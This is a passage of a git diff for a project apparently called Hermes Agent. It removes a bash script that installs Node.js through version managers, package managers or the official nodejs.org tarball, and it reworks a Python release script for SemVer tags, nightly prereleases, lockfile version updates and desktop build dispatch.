>/dev/null 2>&1 && log_success "$*" || printf '✓ %s\n' "$*" >&2; } -_nb_warn() { declare -F log_warn >/dev/null 2>&1 && log_warn "$*" || printf '⚠ %s\n' "$*" >&2; } - -# --------------------------------------------------------------------------- -# Platform + version helpers -# --------------------------------------------------------------------------- - -_nb_is_termux() { - [ -n "${TERMUX_VERSION:-}" ] || [[ "${PREFIX:-}" == *"com.termux/files/usr"* ]] -} - -# Where to symlink node/npm/npx so they land on PATH. -# Mirrors get_command_link_dir() from install.sh: root FHS → /usr/local/bin, -# Termux → $PREFIX/bin, otherwise ~/.local/bin. -_nb_get_link_dir() { - if _nb_is_termux && [ -n "${PREFIX:-}" ]; then - echo "$PREFIX/bin" - elif [ "$(id -u)" = 0 ] && [ "$(uname -s)" = "Linux" ]; then - echo "/usr/local/bin" - else - echo "$HOME/.local/bin" - fi -} - -# Redirect a Hermes-managed Node's `npm install -g` to the command link dir -# (already on PATH) instead of the default $HERMES_HOME/node/bin, which is off -# PATH and wiped on every Node upgrade. Scoped to the managed Node via its -# prefix-local global npmrc; the user's other Node installs / ~/.npmrc are -# untouched. Idempotent no-op when there's no managed npm. -_nb_configure_npm_prefix() { - [ -x "$HERMES_HOME/node/bin/npm" ] || return 0 - local _link_dir - _link_dir="$(_nb_get_link_dir)" - mkdir -p "$HERMES_HOME/node/etc" - printf 'prefix=%s\n' "$(dirname "$_link_dir")" > "$HERMES_HOME/node/etc/npmrc" -} - -_nb_node_major() { - local v - v=$(node --version 2>/dev/null | sed 's/^v//' | cut -d. -f1) - [[ "$v" =~ ^[0-9]+$ ]] && echo "$v" || echo 0 -} - -# The npm range the checkout's root package.json demands. Read from the -# manifest rather than duplicated here so the two can never drift; falls back -# to the current floor when the manifest is unreadable (vendored copy of this -# script, stripped install tree). -_nb_npm_range() { - if [ -n "${HERMES_NPM_TARGET_RANGE:-}" ]; then - printf '%s\n' "$HERMES_NPM_TARGET_RANGE" - return 0 - fi - local repo_root manifest range - repo_root="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." 2>/dev/null && pwd)" - manifest="$repo_root/package.json" - if [ -r "$manifest" ]; then - # sed, not node: this runs before a usable node is guaranteed. - range=$(sed -n '/"engines"/,/}/p' "$manifest" \ - | sed -n 's/.*"npm"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' \ - | head -1) - if [ -n "$range" ]; then - printf '%s\n' "$range" - return 0 - fi - fi - printf '>=12.0.0\n' -} - -# Upgrade the managed tree's bundled npm into the checkout's engines.npm range. -# -# The nodejs.org tarball ships whatever npm that Node major bundles — Node -# 26.5.1 bundles npm 11.17.0, one minor below our own `engines.npm` floor of -# >=12. With `engine-strict=true` in the repo .npmrc that is fatal, not a -# warning, so a brand-new install died at the first `npm ci` with EBADENGINE. -# The Python side recovers through hermes_cli/npm_engine.py; the installer path -# had no such rung, so provision the right npm here instead of reacting later. -# -# Three details are load-bearing, all mirroring upgrade_managed_npm(): -# - a temp cwd, so the checkout's own .npmrc (engine-strict, min-release-age) -# does not gate the very upgrade meant to satisfy it; -# - npm_config_min_release_age=0, which also neutralises a user ~/.npmrc; -# - an explicit --prefix at the managed tree, because -# _nb_configure_npm_prefix wrote prefix=~/.local into its etc/npmrc, and -# without the override this installs a second npm elsewhere while the -# managed tree stays stale. -# -# Best-effort: a failure here leaves a working Node with an old npm, which is -# strictly better than no Node at all, and npm_engine.py still covers the -# EBADENGINE that follows. -_nb_ensure_bundled_npm_range() { - local npm_bin="$HERMES_HOME/node/bin/npm" - [ -x "$npm_bin" ] || return 0 - - local range have want - range="$(_nb_npm_range)" - [ -n "$range" ] || return 0 - - # Skip the network round-trip when the bundled npm already satisfies the - # range. Only the ">=N" shape we actually author is checked; anything more - # exotic falls through to letting npm itself decide. - if [[ "$range" =~ ^\>=([0-9]+) ]]; then - want="${BASH_REMATCH[1]}" - have=$("$npm_bin" --version 2>/dev/null | cut -d. -f1) - if [[ "$have" =~ ^[0-9]+$ ]] && [ "$have" -ge "$want" ]; then - return 0 - fi - fi - - _nb_log "Upgrading bundled npm to satisfy $range..." - local tmp_cwd - tmp_cwd=$(mktemp -d) - if ( - cd "$tmp_cwd" || exit 1 - CI=1 npm_config_min_release_age=0 \ - "$npm_bin" install --global \ - --prefix "$HERMES_HOME/node" \ - "npm@$range" \ - --no-fund --no-audit --progress=false >/dev/null 2>&1 - ); then - rm -rf "$tmp_cwd" - _nb_ok "npm $("$npm_bin" --version 2>/dev/null) installed" - return 0 - fi - - rm -rf "$tmp_cwd" - _nb_warn "Could not upgrade bundled npm to $range — \`npm ci\` may fail with EBADENGINE." - _nb_warn "Fix manually: npm install -g --prefix \"$HERMES_HOME/node\" npm@\"$range\"" - return 1 -} - -_nb_have_modern_node() { - command -v node >/dev/null 2>&1 || return 1 - [ "$(_nb_node_major)" -ge "$HERMES_NODE_MIN_VERSION" ] -} - -# --------------------------------------------------------------------------- -# Version-manager paths — respect what the user already uses -# --------------------------------------------------------------------------- - -_nb_try_fnm() { - command -v fnm >/dev/null 2>&1 || return 1 - _nb_log "fnm detected — installing Node $HERMES_NODE_TARGET_MAJOR..." - eval "$(fnm env 2>/dev/null)" || true - fnm install "$HERMES_NODE_TARGET_MAJOR" >/dev/null 2>&1 || return 1 - fnm use "$HERMES_NODE_TARGET_MAJOR" >/dev/null 2>&1 || return 1 - _nb_have_modern_node || return 1 - _nb_ok "Node $(node --version) activated via fnm" - return 0 -} - -_nb_try_proto() { - command -v proto >/dev/null 2>&1 || return 1 - _nb_log "proto detected — installing Node $HERMES_NODE_TARGET_MAJOR..." - proto install node "$HERMES_NODE_TARGET_MAJOR" >/dev/null 2>&1 || return 1 - _nb_have_modern_node || return 1 - _nb_ok "Node $(node --version) activated via proto" - return 0 -} - -_nb_try_nvm() { - local nvm_sh="${NVM_DIR:-$HOME/.nvm}/nvm.sh" - [ -s "$nvm_sh" ] || return 1 - # shellcheck source=/dev/null - \. "$nvm_sh" >/dev/null 2>&1 || return 1 - _nb_log "nvm detected — installing Node $HERMES_NODE_TARGET_MAJOR..." - nvm install "$HERMES_NODE_TARGET_MAJOR" >/dev/null 2>&1 || return 1 - nvm use "$HERMES_NODE_TARGET_MAJOR" >/dev/null 2>&1 || return 1 - _nb_have_modern_node || return 1 - _nb_ok "Node $(node --version) activated via nvm" - return 0 -} - -# --------------------------------------------------------------------------- -# Platform package managers -# --------------------------------------------------------------------------- - -_nb_try_termux_pkg() { - _nb_is_termux || return 1 - _nb_log "Installing Node.js via pkg..." - pkg install -y nodejs >/dev/null 2>&1 || return 1 - _nb_have_modern_node || return 1 - _nb_ok "Node $(node --version) installed via pkg" - return 0 -} - -_nb_try_brew() { - [ "$(uname -s)" = "Darwin" ] || return 1 - command -v brew >/dev/null 2>&1 || return 1 - _nb_log "Installing Node via Homebrew..." - brew install "node@${HERMES_NODE_TARGET_MAJOR}" >/dev/null 2>&1 \ - || brew install node >/dev/null 2>&1 \ - || return 1 - brew link --overwrite --force "node@${HERMES_NODE_TARGET_MAJOR}" >/dev/null 2>&1 || true - _nb_have_modern_node || return 1 - _nb_ok "Node $(node --version) installed via Homebrew" - return 0 -} - -# --------------------------------------------------------------------------- -# Bundled binary fallback — always works, no shell rc edits -# --------------------------------------------------------------------------- - -_nb_install_bundled_node() { - local arch node_arch os_name node_os - arch=$(uname -m) - case "$arch" in - x86_64) node_arch="x64" ;; - aarch64|arm64) node_arch="arm64" ;; - armv7l) node_arch="armv7l" ;; - *) - _nb_warn "Unsupported arch ($arch) — install Node.js manually: https://nodejs.org/" - return 1 - ;; - esac - - os_name=$(uname -s) - case "$os_name" in - Linux*) node_os="linux" ;; - Darwin*) node_os="darwin" ;; - *) - _nb_warn "Unsupported OS ($os_name) — install Node.js manually: https://nodejs.org/" - return 1 - ;; - esac - - local index_url="https://nodejs.org/dist/latest-v${HERMES_NODE_TARGET_MAJOR}.x/" - local tarball - tarball=$(curl -fsSL "$index_url" \ - | grep -oE "node-v${HERMES_NODE_TARGET_MAJOR}\.[0-9]+\.[0-9]+-${node_os}-${node_arch}\.tar\.xz" \ - | head -1) - if [ -z "$tarball" ]; then - tarball=$(curl -fsSL "$index_url" \ - | grep -oE "node-v${HERMES_NODE_TARGET_MAJOR}\.[0-9]+\.[0-9]+-${node_os}-${node_arch}\.tar\.gz" \ - | head -1) - fi - if [ -z "$tarball" ]; then - _nb_warn "Could not resolve Node $HERMES_NODE_TARGET_MAJOR binary for $node_os-$node_arch" - return 1 - fi - - local tmp - tmp=$(mktemp -d) - _nb_log "Downloading $tarball..." - curl -fsSL "${index_url}${tarball}" -o "$tmp/$tarball" || { - _nb_warn "Download failed"; rm -rf "$tmp"; return 1 - } - - _nb_log "Extracting to $HERMES_HOME/node/..." - if [[ "$tarball" == *.tar.xz ]]; then - tar xf "$tmp/$tarball" -C "$tmp" || { rm -rf "$tmp"; return 1; } - else - tar xzf "$tmp/$tarball" -C "$tmp" || { rm -rf "$tmp"; return 1; } - fi - - local extracted - extracted=$(find "$tmp" -maxdepth 1 -type d -name 'node-v*' 2>/dev/null | head -1) - if [ ! -d "$extracted" ]; then - _nb_warn "Extraction produced no node-v* directory" - rm -rf "$tmp" - return 1 - fi - - mkdir -p "$HERMES_HOME" - rm -rf "$HERMES_HOME/node" - mv "$extracted" "$HERMES_HOME/node" - rm -rf "$tmp" - - local _link_dir - _link_dir="$(_nb_get_link_dir)" - # HERMES_NODE_SKIP_LINKS=1: the caller only wants the private managed tree - # (e.g. the EBADENGINE recovery provisioning a runtime alongside a working - # system Node). Skipping the links keeps the user's own node/npm first on - # PATH instead of shadowing them with ours. - if [ "${HERMES_NODE_SKIP_LINKS:-0}" != "1" ]; then - mkdir -p "$_link_dir" - ln -sf "$HERMES_HOME/node/bin/node" "$_link_dir/node" - ln -sf "$HERMES_HOME/node/bin/npm" "$_link_dir/npm" - ln -sf "$HERMES_HOME/node/bin/npx" "$_link_dir/npx" - fi - - _nb_configure_npm_prefix - - export PATH="$HERMES_HOME/node/bin:$PATH" - - _nb_have_modern_node || return 1 - _nb_ok "Node $(node --version) installed to $HERMES_HOME/node/" - # The tarball's bundled npm is usually below the repo's engines.npm floor. - # Best-effort: an old npm still beats no Node. - _nb_ensure_bundled_npm_range || true - return 0 -} - -# --------------------------------------------------------------------------- -# Heal a broken Hermes-managed Node tree (partial upgrade / missing lib/) -# --------------------------------------------------------------------------- - -_nb_managed_tool_broken() { - local tool="$1" - local probe - for probe in \ - "$HERMES_HOME/node/bin/$tool" \ - "$HERMES_HOME/node/${tool}.exe" \ - "$HERMES_HOME/node/$tool"; do - if [ -x "$probe" ] || [ -f "$probe" ]; then - if ! "$probe" --version >/dev/null 2>&1; then - return 0 - fi - fi - done - return 1 -} - -# The managed node runs but is below HERMES_NODE_TARGET_MAJOR — an old tree -# from a previous install (e.g. 22). Outdated heals the same way broken does, -# so existing users get upgraded on the next heal probe, not just on a full -# installer re-run. Mirrors _managed_node_tree_outdated() in -# hermes_constants.py. -_nb_managed_node_outdated() { - local probe ver major - for probe in "$HERMES_HOME/node/bin/node" "$HERMES_HOME/node/node"; do - [ -x "$probe" ] || continue - ver="$("$probe" --version 2>/dev/null)" || return 1 - major="${ver#v}"; major="${major%%.*}" - case "$major" in ''|*[!0-9]*) return 1 ;; esac - [ "$major" -lt "$HERMES_NODE_TARGET_MAJOR" ] && return 0 - return 1 - done - return 1 -} - -_nb_managed_node_needs_heal() { - local tool - for tool in node npm npx; do - if _nb_managed_tool_broken "$tool"; then - return 0 - fi - done - _nb_managed_node_outdated -} - -# Redownload the pinned nodejs.org tarball when a managed tree exists but -# node/npm/npx fail a --version probe. No-op when the tree is healthy or -# absent. Used by hermes_constants.find_hermes_node_executable() and safe -# to call from install reruns. -heal_managed_node() { - [ -d "$HERMES_HOME/node" ] || return 1 - if ! _nb_managed_node_needs_heal; then - return 0 - fi - _nb_log "Hermes-managed Node is broken — redownloading to $HERMES_HOME/node/..." - _nb_install_bundled_node -} - -# --------------------------------------------------------------------------- -# Public entry point -# --------------------------------------------------------------------------- - -ensure_node() { - HERMES_NODE_AVAILABLE=false - - # Repair pre-existing managed installs where `npm install -g` lands off - # PATH. No-op when there's no managed Node, so it's safe to run first. - _nb_configure_npm_prefix - - if _nb_have_modern_node; then - _nb_ok "Node $(node --version) found" - HERMES_NODE_AVAILABLE=true - return 0 - fi - - if [ -x "$HERMES_HOME/node/bin/node" ]; then - export PATH="$HERMES_HOME/node/bin:$PATH" - if _nb_have_modern_node; then - _nb_ok "Node $(node --version) found (Hermes-managed)" - HERMES_NODE_AVAILABLE=true - # A tree from an older install still carries that Node major's - # bundled npm, and the upgrade in _nb_install_bundled_node is - # best-effort — one offline install leaves an at-target tree - # stranded below engines.npm forever, since heal only fires for a - # *broken* tree. Mirrors Update-ManagedNpm's reuse-path call in - # install.ps1. No-ops on a probe when the npm is already in range. - _nb_ensure_bundled_npm_range || true - return 0 - fi - fi - - # Version managers first — respect the user's existing setup. - _nb_try_fnm && { HERMES_NODE_AVAILABLE=true; return 0; } - _nb_try_proto && { HERMES_NODE_AVAILABLE=true; return 0; } - _nb_try_nvm && { HERMES_NODE_AVAILABLE=true; return 0; } - - # Platform package managers. - _nb_try_termux_pkg && { HERMES_NODE_AVAILABLE=true; return 0; } - _nb_try_brew && { HERMES_NODE_AVAILABLE=true; return 0; } - - # Last resort: pinned nodejs.org tarball. - _nb_install_bundled_node && { HERMES_NODE_AVAILABLE=true; return 0; } - - _nb_warn "Node.js install failed — TUI and browser tools will be unavailable." - _nb_warn "Install manually: https://nodejs.org/en/download/ (or: \`brew install node\`, \`fnm install $HERMES_NODE_TARGET_MAJOR\`, etc.)" - return 1 -} diff --git a/scripts/release.py b/scripts/release.py index 847e32b4d2..8bd98eeb2f 100755 --- a/scripts/release.py +++ b/scripts/release.py @@ -1,7 +1,7 @@ #!/usr/bin/env python3 """Hermes Agent Release Script -Generates changelogs and creates GitHub releases with CalVer tags. +Generates changelogs and creates GitHub releases with SemVer tags. Usage: # Preview changelog (dry run) @@ -16,23 +16,34 @@ Usage: # First release (no previous tag) python scripts/release.py --bump minor --publish --first-release - # Override CalVer date (e.g. for a belated release) + # Override release-date metadata (e.g. for a belated release) python scripts/release.py --bump minor --publish --date 2026.3.15 """ import argparse import json +import os import re import shutil import subprocess import sys from collections import defaultdict -from datetime import datetime +from datetime import datetime, timedelta, timezone from pathlib import Path +# Bootstrap the repo root onto sys.path so this script can import the +# nightly-tag authority from hermes_cli.update_channel (hermes_cli/__init__.py +# is import-light: only os/sys + version constants). +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + +from hermes_cli.update_channel import _NIGHTLY_TAG_RE, nightly_tag_for_date # noqa: E402 + REPO_ROOT = Path(__file__).resolve().parent.parent VERSION_FILE = REPO_ROOT / "hermes_cli" / "__init__.py" PYPROJECT_FILE = REPO_ROOT / "pyproject.toml" +UV_LOCK_FILE = REPO_ROOT / "uv.lock" +DESKTOP_PKG_FILE = REPO_ROOT / "apps" / "desktop" / "package.json" +PKG_LOCK_FILE = REPO_ROOT / "package-lock.json" # ────────────────────────────────────────────────────────────────────── # Git email → GitHub username mapping @@ -2096,7 +2107,7 @@ def _load_contributor_dir(directory: "Path | None" = None) -> dict: if not path.is_file() or path.name.startswith("."): continue try: - for line in path.read_text(encoding="utf-8").splitlines(): + for line in path.read_text(encoding="utf-8-sig").splitlines(): line = line.strip() if line and not line.startswith("#"): mapping[path.name] = line.lstrip("@") @@ -2133,29 +2144,163 @@ def git_result(*args, cwd=None): ) +def list_remotes() -> list[str]: + """The configured git remote names, in git's order.""" + result = git_result("remote") + if result.returncode != 0: + return [] + return [name for name in result.stdout.split() if name] + + +def dispatch_desktop_build(tag: str, gh_repo: str | None) -> bool: + """Start the desktop bundled build for ``tag``. Returns True on success. + + This is how EVERY release of either kind gets its installers. The + workflow takes workflow_dispatch only, because that is one of the two + events GITHUB_TOKEN is allowed to raise: the scheduled nightly pushes + its tag as github-actions[bot], and a bot-pushed tag starts no + workflow run at all. A tag-push trigger would therefore work for a + hand-cut stable release and silently do nothing for the nightly. + + Called after the draft release exists — its body is where the + builds-pending / builds-table jobs splice the download tables (the + binaries themselves go to the R2 bucket; the release carries notes + only). The workflow FILE is taken from the repo's DEFAULT BRANCH (not + the tag): a tag-dispatched run scopes actions/cache under + refs/heads/refs/tags/ — a mangled per-tag scope that can never be + restored by a later nightly, so every nightly rebuilt from cold. On a + branch ref the caches scope to refs/heads/ and persist across + nightlies. The build CODE still comes from the tag via the `tag` input + (the workflow checks out ${{ inputs.tag }}), so an old-tag rebuild + builds the old snapshot with the current workflow. + """ + dispatch_ref = _default_branch(gh_repo) or "main" + cmd = [ + "gh", "workflow", "run", "desktop-bundled-release.yml", + "--ref", dispatch_ref, + "-f", f"tag={tag}", + "-f", "upload_release=true", + ] + if gh_repo: + cmd += ["--repo", gh_repo] + + if not shutil.which("gh"): + print(" ✗ Cannot start the desktop build: `gh` CLI not found.") + print(f" Start it manually: {' '.join(cmd)}") + return False + + result = subprocess.run( + cmd, capture_output=True, text=True, encoding="utf-8", + errors="replace", cwd=str(REPO_ROOT), + ) + if result.returncode != 0: + print(f" ✗ Could not start the desktop build: {result.stderr.strip()}") + print(f" Start it manually: {' '.join(cmd)}") + return False + + print(f" ✓ Desktop build started for {tag} (workflow from {dispatch_ref})") + return True + + +def _default_branch(gh_repo: str | None) -> str | None: + """The repo's default branch, resolved via gh. None on any failure.""" + cmd = ["gh", "repo", "view", "--json", "defaultBranchRef", "--jq", ".defaultBranchRef.name"] + if gh_repo: + cmd += ["--repo", gh_repo] + result = subprocess.run( + cmd, capture_output=True, text=True, encoding="utf-8", + errors="replace", cwd=str(REPO_ROOT), + ) + if result.returncode != 0: + return None + return result.stdout.strip() or None + + +def resolve_push_remote(requested: str | None) -> str: + """Pick the remote that receives the release push (and the GitHub + release). One configured remote: use it. More than one: the release + lands on whichever repo the tag is pushed to, so an implicit default + is a foot-gun — require an explicit --remote. + """ + remotes = list_remotes() + if not remotes: + raise SystemExit("release: no git remotes configured — nothing to push to") + if requested: + if requested not in remotes: + raise SystemExit( + f"release: remote {requested!r} is not configured " + f"(available: {', '.join(remotes)})" + ) + return requested + if len(remotes) == 1: + return remotes[0] + raise SystemExit( + "release: multiple remotes are configured " + f"({', '.join(remotes)}) — pass --remote to say which one " + "receives the release push" + ) + + +def remote_github_repo(remote: str) -> str | None: + """The 'owner/repo' behind a remote's push URL, for gh --repo. + None when the URL is not a recognizable GitHub URL.""" + result = git_result("remote", "get-url", "--push", remote) + if result.returncode != 0: + return None + url = result.stdout.strip() + match = re.search(r"github\.com[:/]([^/]+/[^/]+?)(?:\.git)?/?$", url) + return match.group(1) if match else None + + +# Cap the major at three digits — the same rule as _parse_release_tag in +# hermes_cli/update_cmd.py and _SEMVER_TAG_RE in scripts/write_install_stamp.py. +# The legacy CalVer tags (v2026.7.20) must never match as SemVer. +_SEMVER_TAG_RE = re.compile(r"v(?:0|[1-9]\d{0,2})\.\d+\.\d+$") +_LEGACY_CALVER_TAG_RE = re.compile(r"v20\d{2}\.\d+\.\d+(?:\.\d+)?$") +# Nightly prerelease tags are matched with _NIGHTLY_TAG_RE, imported from +# hermes_cli.update_channel — the single authority for the nightly tag +# shape (v..-nightly., plus the +# legacy date-only form). The suffix keeps them out of every stable +# selector (all of which require the no-suffix SemVer shape above). +# Second precision so manual fires can publish several nightlies per day; +# the identifier is pure numeric and fixed-length, so semver prerelease +# comparison (numeric) and lexical sort both order it chronologically. + + +def release_tag_for_version(semver: str) -> str: + """Return the canonical Git tag for a Hermes package version.""" + return f"v{semver}" + + def get_last_tag(): - """Get the most recent CalVer tag.""" - tags = git("tag", "--list", "v20*", "--sort=-v:refname") + """Get the latest SemVer tag, falling back to legacy CalVer history.""" + tags = git("tag", "--list", "v[0-9]*", "--sort=-v:refname") if tags: - return tags.split("\n")[0] + tag_list = tags.split("\n") + for tag in tag_list: + if _SEMVER_TAG_RE.fullmatch(tag) and not _LEGACY_CALVER_TAG_RE.fullmatch(tag): + return tag + + legacy_tags = git("tag", "--list", "v20*", "--sort=-v:refname") + if legacy_tags: + return legacy_tags.split("\n")[0] return None -def next_available_tag(base_tag: str) -> tuple[str, str]: - """Return a tag/calver pair, suffixing same-day releases when needed.""" - if not git("tag", "--list", base_tag): - return base_tag, base_tag.removeprefix("v") - - suffix = 2 - while git("tag", "--list", f"{base_tag}.{suffix}"): - suffix += 1 - tag_name = f"{base_tag}.{suffix}" - return tag_name, tag_name.removeprefix("v") +def get_last_nightly_tag(): + """The newest nightly tag, or None. Date order == version order within + one minor; across minors the -v:refname sort already ranks the newer + minor first.""" + tags = git("tag", "--list", "v[0-9]*-nightly.*", "--sort=-v:refname") + for tag in (tags.split("\n") if tags else []): + if _NIGHTLY_TAG_RE.fullmatch(tag): + return tag + return None def get_current_version(): """Read current semver from __init__.py.""" - content = VERSION_FILE.read_text(encoding="utf-8") + content = VERSION_FILE.read_text(encoding="utf-8-sig") match = re.search(r'__version__\s*=\s*"([^"]+)"', content) return match.group(1) if match else "0.0.0" @@ -2182,10 +2327,10 @@ def bump_version(current: str, part: str) -> str: return f"{major}.{minor}.{patch}" -def update_version_files(semver: str, calver_date: str): - """Update version strings in source files.""" +def update_version_files(semver: str, calver_date: str) -> list[str]: + """Update version strings in source files. returns a list of updates files.""" # Update __init__.py - content = VERSION_FILE.read_text(encoding="utf-8") + content = VERSION_FILE.read_text(encoding="utf-8-sig") content = re.sub( r'__version__\s*=\s*"[^"]+"', f'__version__ = "{semver}"', @@ -2196,10 +2341,19 @@ def update_version_files(semver: str, calver_date: str): f'__release_date__ = "{calver_date}"', content, ) + # This function runs before the release-bump commit is created. Record the + # count that commit will have so Nix store builds can derive ``+N`` without + # a .git directory. The corresponding SemVer tag is made at that commit. + parent_count = int(git("rev-list", "--count", "HEAD") or "0") + content = re.sub( + r'__release_rev_count__\s*=\s*\d+', + f'__release_rev_count__ = {parent_count + 1}', + content, + ) VERSION_FILE.write_text(content, encoding="utf-8") # Update pyproject.toml - pyproject = PYPROJECT_FILE.read_text(encoding="utf-8") + pyproject = PYPROJECT_FILE.read_text(encoding="utf-8-sig") pyproject = re.sub( r'^version\s*=\s*"[^"]+"', f'version = "{semver}"', @@ -2212,16 +2366,45 @@ def update_version_files(semver: str, calver_date: str): # Python package version. The desktop About panel reads the live Hermes # version at runtime, but app.getVersion()/packaging metadata still come # from this field, so it must track pyproject to avoid drift. - desktop_pkg = REPO_ROOT / "apps" / "desktop" / "package.json" - if desktop_pkg.exists(): - pkg_text = desktop_pkg.read_text(encoding="utf-8") - pkg_text = re.sub( - r'("version"\s*:\s*)"[^"]+"', - rf'\g<1>"{semver}"', - pkg_text, - count=1, - ) - desktop_pkg.write_text(pkg_text, encoding="utf-8") + pkg_text = DESKTOP_PKG_FILE.read_text(encoding="utf-8-sig") + pkg_text = re.sub( + r'("version"\s*:\s*)"[^"]+"', + rf'\g<1>"{semver}"', + pkg_text, + count=1, + ) + DESKTOP_PKG_FILE.write_text(pkg_text, encoding="utf-8") + + # npm mirrors each workspace package's version into the root lockfile. + # Update the apps/desktop entry so `npm ci`/`npm install` do not see the + # lockfile as out of date and rewrite it (or fail in CI) after a bump. + lock_text = PKG_LOCK_FILE.read_text(encoding="utf-8-sig") + lock_text = re.sub( + r'("apps/desktop"\s*:\s*\{\s*"name"\s*:\s*"[^"]+"\s*,\s*"version"\s*:\s*)"[^"]+"', + rf'\g<1>"{semver}"', + lock_text, + count=1, + ) + PKG_LOCK_FILE.write_text(lock_text, encoding="utf-8") + + # uv.lock records the editable root package's version from pyproject. + # Update it in place so a post-release `uv sync`/`uv lock` is a no-op. + uv_text = UV_LOCK_FILE.read_text(encoding="utf-8-sig") + uv_text = re.sub( + r'(name = "hermes-agent"\nversion = )"[^"]+"', + rf'\g<1>"{semver}"', + uv_text, + count=1, + ) + UV_LOCK_FILE.write_text(uv_text, encoding="utf-8") + + return [ + str(VERSION_FILE), + str(PYPROJECT_FILE), + str(DESKTOP_PKG_FILE), + str(PKG_LOCK_FILE), + str(UV_LOCK_FILE), + ] def resolve_author(name: str, email: str) -> str: @@ -2385,6 +2568,16 @@ def generate_changelog(commits, tag_name, semver, repo_url="https://github.com/N lines.append("") lines.append(f"**Release Date:** {date_str}") lines.append("") + # The builds-pending job in desktop-bundled-release.yml replaces this + # marker with a "builds in progress" link to the run as soon as the + # workflow starts. The builds-table job then replaces the link with + # the download tables once every matrix leg has uploaded its + # artifacts to the R2 bucket (real object names, never predicted + # ones; the release body links point at the R2 public URL). A release + # whose matrix never finishes keeps the link — visibly unfinished, + # and it points at the run that stopped. + lines.append("") + lines.append("") if first_release: lines.append("> 🎉 **First official release!** This marks the beginning of regular weekly releases") @@ -2477,38 +2670,263 @@ def generate_changelog(commits, tag_name, semver, repo_url="https://github.com/N return "\n".join(lines) +def _nightly_timestamp(tag: str) -> str | None: + """The YYYYMMDD[HHMMSS] UTC stamp embedded in a nightly tag, or None.""" + if not _NIGHTLY_TAG_RE.fullmatch(tag): + return None + return tag.split("-nightly.", 1)[1] + + +def _stamp_epoch(stamp: str) -> int | None: + """Epoch seconds for a YYYYMMDD or YYYYMMDDHHMMSS UTC stamp.""" + try: + if len(stamp) == 14: + return int(datetime.strptime(stamp, "%Y%m%d%H%M%S").replace(tzinfo=timezone.utc).timestamp()) + if len(stamp) == 8: + return int(datetime.strptime(stamp, "%Y%m%d").replace(tzinfo=timezone.utc).timestamp()) + except ValueError: + pass + return None + + +def cmd_nightly(args) -> None: + """--nightly: tag + draft today's nightly prerelease. + + Owns ALL the tag math (the workflow passes only --publish/--remote): + next-MINOR over the newest stable tag, dated suffix, changelog since + the last nightly (or last stable for the first one). No version-file + bump, no commit — the tag points at HEAD as-is, and the stamp's + displayVersion carries the nightly version from the tag. + + Created as a DRAFT prerelease, for the same reason the stable path + drafts: a published release with no installers attached is a release + users can reach and cannot use. The desktop matrix attaches the + installers to this draft by tag, and the nightly workflow's publish + job flips it to published only after that matrix is green. A failed + bundle therefore leaves an inspectable draft rather than a broken + nightly. + + Exits 0 with "nothing to do" when HEAD is already tagged by the last + nightly — the skip-if-no-new-commits gate lives HERE, not in workflow + YAML. + """ + date_utc = args.date or datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S") + stable_tag = get_last_tag() + if stable_tag is None: + print("✗ No stable release tag exists; a nightly needs a stable line to version over.") + sys.exit(1) + tag_name = nightly_tag_for_date(stable_tag, date_utc) + + prev_nightly = get_last_nightly_tag() + since = prev_nightly or stable_tag + + if git_result("rev-parse", "--verify", "--quiet", f"refs/tags/{tag_name}").returncode == 0: + print(f"✓ {tag_name} already exists — nothing to do.") + return + + # The nightly MSIX build number is minutes-since-the-last-stable (see + # msix-shared.mjs). Two nightlies of the same LINE cut within the SAME + # minute would share a build number → identical MSIX version → App + # Installer refuses the second over the first. Refuse the second cut + # loudly instead of shipping an uninstallable equal-version package. + # (A same-minute cut on a NEW line — after a fresh stable — is fine: the + # patch bump already outversions the old line, so no collision.) + prev_ts = _nightly_timestamp(prev_nightly) if prev_nightly else None + same_line = bool(prev_nightly) and prev_nightly.split("-nightly.", 1)[0] == tag_name.split("-nightly.", 1)[0] + prev_min = _stamp_epoch(prev_ts) // 60 if prev_ts and _stamp_epoch(prev_ts) is not None else None + cur_min = _stamp_epoch(date_utc) // 60 if _stamp_epoch(date_utc) is not None else None + if same_line and prev_min is not None and prev_min == cur_min: + print( + f"✗ {tag_name} is in the same minute as {prev_nightly} — they would " + "share an MSIX build number (minutes since the last stable). Wait a " + "minute and re-run." + ) + return + + if prev_nightly: + head = git("rev-parse", "HEAD") + if head and head == git("rev-parse", f"{prev_nightly}^{{commit}}"): + print(f"✓ No new commits since {prev_nightly} — nothing to do.") + return + + commits = get_commits(since_tag=since) + if not commits: + print(f"✓ No new commits since {since} — nothing to do.") + return + + # MSIX version components are 16-bit (makeappx rejects >65535). The + # nightly build number is minutes-since-the-last-stable, which crosses + # the cap at 45.5 days. A nightly cut on a stable base older than 45 + # days cannot carry a legal build number — fail loudly, never clamp (a + # clamped number would break monotonicity and the update path). + stable_epoch = git("log", "-1", "--format=%ct", stable_tag) + nightly_epoch = _stamp_epoch(date_utc) + if stable_epoch.isdigit() and nightly_epoch is not None: + days_old = (nightly_epoch - int(stable_epoch)) / 86400 + if days_old > 45: + print( + f"✗ {stable_tag} is {days_old:.1f} days old — a nightly cut now " + "would overflow the 16-bit MSIX build number (minutes since " + "this stable). Cut a stable release first." + ) + sys.exit(1) + + version = tag_name.lstrip("v") + print(f"Nightly: {tag_name} ({len(commits)} commits since {since})") + changelog = generate_changelog( + commits, tag_name, version, prev_tag=since, first_release=False + ) + + if not args.publish: + print(changelog) + print("\nDry run complete. To publish, add --publish") + return + + push_remote = resolve_push_remote(args.remote) + gh_repo = remote_github_repo(push_remote) + + tag_result = git_result( + "tag", "-a", tag_name, "-m", f"Hermes Agent nightly {date_utc}" + ) + if tag_result.returncode != 0: + print(f"✗ Failed to create tag {tag_name}: {tag_result.stderr.strip()}") + sys.exit(1) + push_result = git_result("push", push_remote, f"refs/tags/{tag_name}") + if push_result.returncode != 0: + print(f"✗ Failed to push {tag_name}: {push_result.stderr.strip()}") + sys.exit(1) + print(f"✓ Pushed {tag_name} to {push_remote}") + + changelog_file = REPO_ROOT / ".release_notes.md" + changelog_file.write_text(changelog, encoding="utf-8") + gh_cmd = [ + "gh", "release", "create", tag_name, + "--draft", + "--prerelease", + # Abort rather than let gh invent a tag: without this it creates a + # missing tag from the default branch's tip, which would silently + # release a different commit than the one we tagged. + "--verify-tag", + "--title", f"Hermes Agent nightly {date_utc} ({tag_name})", + "--notes-file", str(changelog_file), + ] + if 